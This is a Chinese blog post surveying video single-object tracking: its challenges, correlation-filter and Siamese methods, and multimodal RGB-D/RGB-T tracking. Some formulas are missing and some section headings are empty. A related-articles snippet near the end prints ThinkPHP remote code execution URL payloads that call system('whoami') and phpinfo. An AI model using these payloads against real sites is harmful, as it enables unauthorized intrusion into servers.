当前位置: 首页 > news >正文

视频单目标跟踪研究

        由于对视频单目标跟踪并不是很熟悉,所以首先得对该领域有个大致的了解。

        视频目标跟踪是计算机视觉领域重要的基础性研究问题之一,是指在视频序列第一帧指定目标 后,在后续帧持续跟踪目标,即利用边界框(通常用矩形框表示)标定目标,实现目标的定位与尺度估计(目标跟踪问题通常分为单目标跟踪和多目标跟踪,这里主要关注单目标跟踪问题)。视觉跟踪技术是计算机视觉领域(人工智能分支)的一个重要课题,有着重要的研究意义;且在军事制导、视频监控、机器人视觉导航、人机交互、以及医疗诊断等许多方面有着广泛的应用前景。

        单目标跟踪任务,给定初始目标的位置和尺寸,要求跟踪器持续地对目标进行定位。不同于多目标跟踪,单目标跟踪要求可以处理任意的物体,而多目标跟踪通常是固定类别的物体,如行人、车辆等。单目标跟踪算法的这种“物体不定性”,一方面,待跟踪物体包罗万象,各种奇奇怪怪的物体为该任务带来诸多挑战;另一方面,不限制目标类别,又为跟踪任务的建模和训练带来无限可能。

        视频目标跟踪中的挑战

        对于视频目标跟踪问题,主要面临的挑战表现在视频目标前背景在跟踪过程中发生的复杂变化。这些变化包括:目标消失、目标形变、 背景干扰以及目标移动等情形。上述情况往往导致 视频序列中跟踪目标所依赖的特征,如外观、形状 或背景等信息,随时间变化存在较大的不一致性, 使得跟踪器在后续视频帧中无法准确识别和跟踪目标。

(1) 目标消失:目标消失是视频目标跟踪中最 具挑战性的问题之一,主要包括在某段时间内目标 (或部分目标)被其他物体遮挡或移出相机视野范 围,当目标重新出现时如何继续跟踪目标,如图a。影响此类问题的因素主要包括遮挡范围 和遮挡时间,若目标全部被遮挡或长时间被遮挡, 往往会造成跟踪器无法有效更新,从而跟踪失败。

(2) 目标变化:目标变化是视频目标跟踪中最 常见的问题之一,主要包括目标形变,目标旋转等 情形。通常来说,非刚性物体在跟踪过程中都会发 生不同程度的形变。左侧图b显示视频中目标(运动员)在执行动作过程中随时间发生了严重的形变,长宽比例变化明显。目标旋转通常包含两方面内容,一是平面内旋转,另一类是平面外旋转。前者是指目标旋转轴垂直于目标图像所在的平面,后者则表示旋转轴与图像平面不垂直的情 形,图 b 右图展示了目标平面外旋转的例子。

(3) 背景干扰:背景干扰也是目标跟踪问题经 常出现的问题,主要表现是背景杂乱和光照变化等 情形。图 c 分别展示了目标受杂乱背景干扰和 光照严重变化的情形。如何有效地进行前背景分离,从而精确地抓取前景抑制背景也是目标跟踪的根本问题。而光照变化不仅对背景造成干扰,也使 得目标前景本身的外观特征发生一定程度的变化。 强烈的光照变化通常造成不同帧序列之间目标外观差异增大,而同一帧之内目标前背景差异减小, 从而加大跟踪的难度。

(4) 目标移动:视频目标跟踪所研究的对象主体往往是运动的目标,目标移动对目标跟踪造成的 困难主要包括目标快速运动和目标运动模糊等情 形。由于目标跟踪通常采取在目标前一帧所处位置 周围区域进行搜索的策略,因此目标快速运动可能 造成目标与前序帧位置差异较大,甚至超出搜索区域。另一方面,目标移动本身造成的运动模糊也会 造成目标前景虚化,从而影响目标特征表达。同样 的,相机移动甚至会造成整幅图像的模糊,也是影响目标跟踪效果的挑战之一。

视频目标跟踪方法

近十年来最主流的两类方法是基于相关滤波 CF (Correlation Filter) 和孪生网络 (Siamese Network) 框架的方法。相关滤波目标跟踪算法自 2010 年提出之后,由于其在跟踪精度和算法速度 取得良好的平衡性,迅速发展成为目标跟踪的主流 方法之一。基于孪生网络的目标跟踪算法相比 相关滤波方法出现较晚,开创性工作是 2016 年出 现的 SiameseFC算法。

基于相关滤波的目标跟踪方法

相关滤波理论用于目标 跟踪问题表现良好主要得益于以下两方面原因:1) CF 目标跟踪方法隐式地利用了循环平移操作对训 练样本进行扩增,从而极大丰富了训练样本的多样 性,使得算法的鲁棒性和精度提升;2)快速傅利 叶变换 FFT (Fast Fourier Transform) 使得复杂的卷 积操作在频域内加速计算,计算量降低,模型求解 效率增加。

相关滤波目标跟踪框架

目标跟踪算法的输入是一段连续的视频序列, 以及视频第一帧指定的跟踪目标(以矩形标定框 B1 的形式给出),目标跟踪算法的输出是在后续 视频 t > 1 中估计目标的位置以及大小,同样以标 定框 Bt的形式给出。相关滤波目标跟踪算法的主 要思想是,在当前帧更新相关滤波器(记作 F ), 在下一帧利用所得的 F 通过循环卷积的操作实现 目标中心点定位。考虑相关滤波 目标跟踪算法在 t - 1 到第 t 帧的算法流程。如图 所示,相关滤波视频目标跟踪算法主要包含以下 5 个步骤:

步骤 1 (搜索区域):由于相邻两帧目标移 动范围有限,利用第 t - 1 帧的跟踪结果 Bt-1,通 过适当扩大Bt−1 得到目标搜索区域,并在视频第 t 帧图像的上述搜索区域内进行目标定位搜索。

步骤 2(特征提取):用步骤 1 得到的第 t 帧 的搜索区域,对该区域内的图像进行特征提取,得 到特征图 H。

步骤 3 (目标定位):相关滤波器 F作用于 提取的特征图 H,利用公式 得到响应图 C= H ∗ F,  式中 * 为循环卷积,计算响应图C的最大值所在 位置的坐标,即可得到当前帧图像上的目标中心位 置,Bt的大小可由Bt−1 进行缩放得到。

步骤 4(滤波更新):利用当前跟踪结果,如图下半栏所示,以目标为中心点截取子图像, 类似步骤 2 提取特征图 H,然后通过最小化公式 ,求解相关滤波器  

这里 Y 是以空间中心点为最高值的 2-D 高斯分布图。上述优化问题可以利用快速傅里叶变换 (FFT)方法得到闭合解。

步骤 5(交替迭代):令 t = t + 1,返回步骤 1 进行交替迭代。在视频每一帧重复上述步骤,可以 逐帧得到滤波器以及每帧目标的位置及尺寸,完成视频目标跟踪任务。

离散傅里叶变换

假设有离散序列x,长度为N。用x^表示该离散序列的离散傅里叶变换。x^中的第m个元素可以通过下式进行计算:

数据集

评价指标

多模态目标跟踪

基于 RGB-D 视频的目标跟踪

一些研究者开始关注 基于 RGB 图像和深度图像结合的视频目标跟踪算法。如图 所示,相比于颜色信息,深度信息 可以有效地帮助视频实现前景背景分离,同时为目标遮挡判定提供有效的指导.

基于 RGB-T 视频的目标跟踪

红外图像和 RGB 图像对于视频目标跟踪来说可 以提供互补的信息,例如 RGB 图像可以提供丰富 的目标外观颜色纹理信息,但在光照变化,雨雾场 景下受到较大的影响,而红外图像往往不受此类情 形的影响,如图 所示。与深度图像视频相似, 红外图像信息往往也能帮助指导视频中目标的前 背景分离。这是因为前景目标和背景通常具有不同 的热力值. 

目标跟踪交叉领域研究

视频目标分割又可以帮助跟 踪更好地完成前背景分离,从而学习目标前景特征.

相关文章:

视频单目标跟踪研究

由于对视频单目标跟踪并不是很熟悉,所以首先得对该领域有个大致的了解。 视频目标跟踪是计算机视觉领域重要的基础性研究问题之一,是指在视频序列第一帧指定目标 后,在后续帧持续跟踪目标,即利用边界框(通常用矩形框表…...

若依vue3.0表格的增删改查文件封装

一、因若依生成的文件没进行封装,维护起来比较麻烦。所以自己简单的进行封装了一下 gitee代码(文件)地址:https://gitee.com/liu_yu_ting09/ruo_yi.git 二、封装的方法(下面绿色按钮进行全局封装一个JeecgListMixin.js…...

【已解决】如何使用JAVA 语言实现二分查找-二分搜索折半查找【算法】手把手学会二分查找【数据结构与算法】

文章目录 前言任务描述编程要求 输出样例:未查找到11元素! 二、代码实现总结理解不了考试的时候直接背下来就好了。 前言 [TOC]二分搜索 任务描述 折半查找(二分搜索) 设a[low..high]是当前的查找区间,首先确定该区间的中点位置…...

ERROR 1524 (HY000): Plugin ‘mysql_native_password‘ is not loaded

你遇到的错误是由于 MySQL 版本不再默认支持 mysql_native_password 认证插件导致的。从 MySQL 8.0 开始,默认的认证插件是 caching_sha2_password,而不是 mysql_native_password。 解释: 错误 ERROR 1524 (HY000): Plugin mysql_native_pa…...

.NET 6.0 WebAPI 使用JWT生成Token的验证授权

1.引入相关程序包JwtBearer注意版本: 2.配置文件appsettings.json写相关配置参数(也可不写,写在程序里面,数据库读取也是一样的) , //JWT加密"JWTToken": {"SecretKey": "jsaduwqe6asdjewejdue7dfmsdfu0sdfmwmsd8wfsd6",…...

M9410A VXT PXI 矢量收发信机,300/600/1200MHz带宽

M9410A PXI 矢量收发信机 -300/600/1200MHz带宽- M9410A VXT PXI 矢量收发信机,300/600/1200MHz带宽支持 5G 的 PXI 矢量收发信机(VXT)是一个 2 插槽模块,具有 1.2 GHz 的瞬时带宽 主要特点 Keysight M9410A VXT PXIe 矢量收发…...

用工厂模式演示springboot三种注入方式 | @Autowired

背景:看了个demo工厂模式,示例代码的工厂类是new出来的,但是实际项目中都是用springboot框架、bean都是会给容器管理的,所以在思考这个工厂类要交给springboot托管要怎么改。以下是总结笔记 依赖注入 1.工厂类用new实现2.工厂类用…...

es查询语法

查询关键词的含义: match: 用于进行全文搜索,分析查询文本并与倒排索引中的词项进行匹配。 term: 精确匹配,适用于非分析字段,如 keyword 类型。用于查找字段值完全相等的文档。 bool: 组合多个查询条件。可以使用 must&#xf…...

LabVIEW提高开发效率技巧----合理使用数据流与内存管理

理使用数据流和内存管理是LabVIEW开发中提高性能和稳定性的关键,特别是在处理大数据或高频率信号时,优化可以避免内存消耗过大、程序卡顿甚至崩溃。 1. 使用 Shift Register 进行内存管理 Shift Register(移位寄存器) 是 LabVIE…...

如何在 ECharts 中设置轴标签

在 ECharts 中,轴标签(Axis Label)是指 X 轴或 Y 轴上的刻度标签,用于显示轴上的数据值或分类名称。你可以通过配置 xAxis(X 轴)或 yAxis(Y 轴)的 axisLabel 属性来设置轴标签的样式…...

怎么用gitee做一个图片仓库,在md文档中用这个图片网络地址,然后显示图片

痛因:我为什么要这样做,呃,我一开始图片都是存本地地址的,放在和这个md文档同级的assets文件夹下面,这样子确实当时很方便,复制粘贴什么也不用管,但是想把这个文档分享给别的人的时候&#xff0…...

Thinkphp(TP)

1.远程命令执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami 2.远程代码执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[1][]…...

【艾思科蓝】前端框架巅峰对决:React、Vue与Angular的全面解析与实战指南

【JPCS独立出版】​第三届能源与动力工程国际学术会议(EPE 2024)_艾思科蓝_学术一站式服务平台 更多学术会议请看:https://ais.cn/u/nuyAF3 引言 在快速发展的前端技术领域,选择合适的框架或库对于项目的成功至关重要。React、Vu…...

IT行业的未来:技术变革与创新的持续推动

IT行业的未来:技术变革与创新的持续推动 随着数字化进程的不断加速,信息技术(IT)行业正迈入一个快速变革的时代。新兴技术如人工智能(AI)、5G、物联网(IoT)和区块链,正在…...

Python PDF转图片自定义输出

PDF转图片自定义输出 一、引入必要库 1 2import fitz import os也可以检查一下版本就是了:print(fitz.__doc__) 上一篇文章已经介绍过要使用的库,和写代码要用到的思路了。我们直接开始: 二、找到文件 首先是我们要获取用户的输入&#x…...

Git 常用操作命令说明

Git 常用操作命令 1. 初始化和克隆仓库 1.1 初始化仓库 git init在当前目录初始化一个新的 Git 仓库。 1.2 克隆仓库 git clone <repository-url>从远程仓库克隆项目到本地。 示例&#xff1a; git clone https://github.com/user/repo.git2. 查看状态和日志 2.1…...

自学前端的正确姿势是...

师傅带进门&#xff0c;修行在个人。 在前端自学成才的道路上&#xff0c;有些人走的很快&#xff0c;有些人却举步维艰。 为什么会这样子呢&#xff1f;因为他们没有掌握自学前端的正确姿势。 在介绍应该要怎样自学前端之前&#xff0c;首先来看下&#xff0c;自学前端容易…...

C/C++语言基础--C++构造函数、析构函数、深拷贝与浅拷贝等等相关知识讲解

本专栏目的 更新C/C的基础语法&#xff0c;包括C的一些新特性 前言 周末休息了&#xff0c;没有更新&#xff0c;请大家见谅哈&#xff1b;构造函数、析构函数可以说便随着C每一个程序&#xff0c;故学构造函数、析构函数是必要的&#xff1b;C语言后面也会继续更新知识点&am…...

json格式互相转换

您提供的字符串已经是一个JSON格式的字符串&#xff0c;但是JSON标准要求键名必须用双引号括起来&#xff0c;而不是单引号。因此&#xff0c;您需要将字符串中的单引号替换为双引号。以下是转换后的JSON字符串&#xff1a; {"图片描述": "高速公路上发生了严重…...

Linux下共享内存详解

共享内存是Linux中一种高效的进程间通信&#xff08;IPC&#xff09;方式&#xff0c;它允许多个进程共享同一段内存&#xff0c;从而实现数据的快速传递。共享内存通常比其他IPC机制&#xff08;如管道或消息队列&#xff09;更快&#xff0c;因为数据直接存储在内存中&#x…...

MySQL篇(管理工具)

目录 一、系统数据库 二、常用工具 1. mysql 2. mysqladmin 3. mysqlbinlog 4. mysqlshow 5. mysqldump 6. mysqlimport/source 6.1 mysqlimport 6.2 source 一、系统数据库 MySQL数据库安装完成后&#xff0c;自带了一下四个数据库&#xff0c;具体作用如下&#xf…...

redis学习笔记(六)

redis每种数据结构的应用场景 1. 字符串 (String) 应用场景 &#xff1a; 缓存&#xff1a;存储频繁访问的数据&#xff0c;如网页缓存、会话信息等。计数器&#xff1a;实现统计和计数功能&#xff0c;如访问计数、统计数据等。键值存储&#xff1a;简单的键值对存储&#xf…...

spring与springmvc整合

文章目录 spring与springmvc整合重复创建bean容器关系获取spring容器上下文 spring与springmvc整合 在项目中使用springmvc的时候&#xff0c;由于spring和springmvc是同源的&#xff0c;有时候大家会把所有的配置都扔到springmvc的配置文件中&#xff0c;而不去区分spring和s…...

如何使用Optuna在PyTorch中进行超参数优化

所有神经网络在训练过程中都需要选择超参数,而这些超参数对收敛速度和最终性能有着非常显著的影响。 这些超参数需要特别调整,以充分发挥模型的潜力。超参数调优过程是神经网络训练中不可或缺的一部分,某种程度上,它是一个主要基于梯度优化问题中的“无梯度”部分。 在这…...

2.Spring-容器-注入

注册&#xff1a;将组件放入容器中&#xff1b; 注入&#xff1a;让容器按需进行操作&#xff1b; 一、Autowired&#xff1a;自动注入组件 原理&#xff1a;Spring调用容器的getBean 二、Qualifier 精确指定 精确指定&#xff1a;如果容器中组件存在多个&#xff0c;则使用…...

在uboot中添加自定义命令

有时候为了方便测试&#xff0c;我们需要在Uboot中添加自己的命令&#xff0c;这时可以通过下面的步骤实现&#xff1a; 1、在common目录下添加自己的命令文件“cmd_命令名.c”&#xff0c;如cmd_test.c&#xff0c;内容如下&#xff08;参考模版&#xff09;&#xff1a; …...

AngularJS 模块

AngularJS 模块 AngularJS,作为一个强大且灵活的前端框架,其核心特性之一就是模块化。模块在AngularJS中扮演着至关重要的角色,它们是组织代码的主要方式,使得开发者能够创建可复用、可维护且易于测试的代码结构。本文将深入探讨AngularJS模块的概念、用途、创建方式以及最…...

[yotroy.cool] MGT 388 - Finance for Engineers - notes 笔记

个人博客https://www.yotroy.cool/,感谢关注~ 图片资源可能显示不全,请前往博客查看哦! ============================================================ Lecture 1 What is Accounting? The process of identifying, measuring and communicating economic informati…...

2024年9月python二级易错题和难题大全(附详细解析)(三)

2024年9月python二级易错题和难题大全(附详细解析)(三) 第1题第2题第3题第4题第5题第6题第7题第8题第9题第10题第11题第12题第13题第14题第15题第16题第17题第18题第19题第20题第1题 1、以下程序的输出结果是() L1 = [4, 5, 6, 8].reverse() print(L1)A、[8, 6, 5, 4]&…...

【LLM多模态】Animatediff文生视频大模型

note AnimateDiff框架&#xff1a;核心是一个可插拔的运动模块&#xff0c;它可以从真实世界视频中学习通用的运动先验&#xff0c;并与任何基于相同基础T2I的个性化模型集成&#xff0c;以生成动画。训练策略&#xff1a;AnimateDiff的训练包括三个阶段&#xff1a; 领域适配…...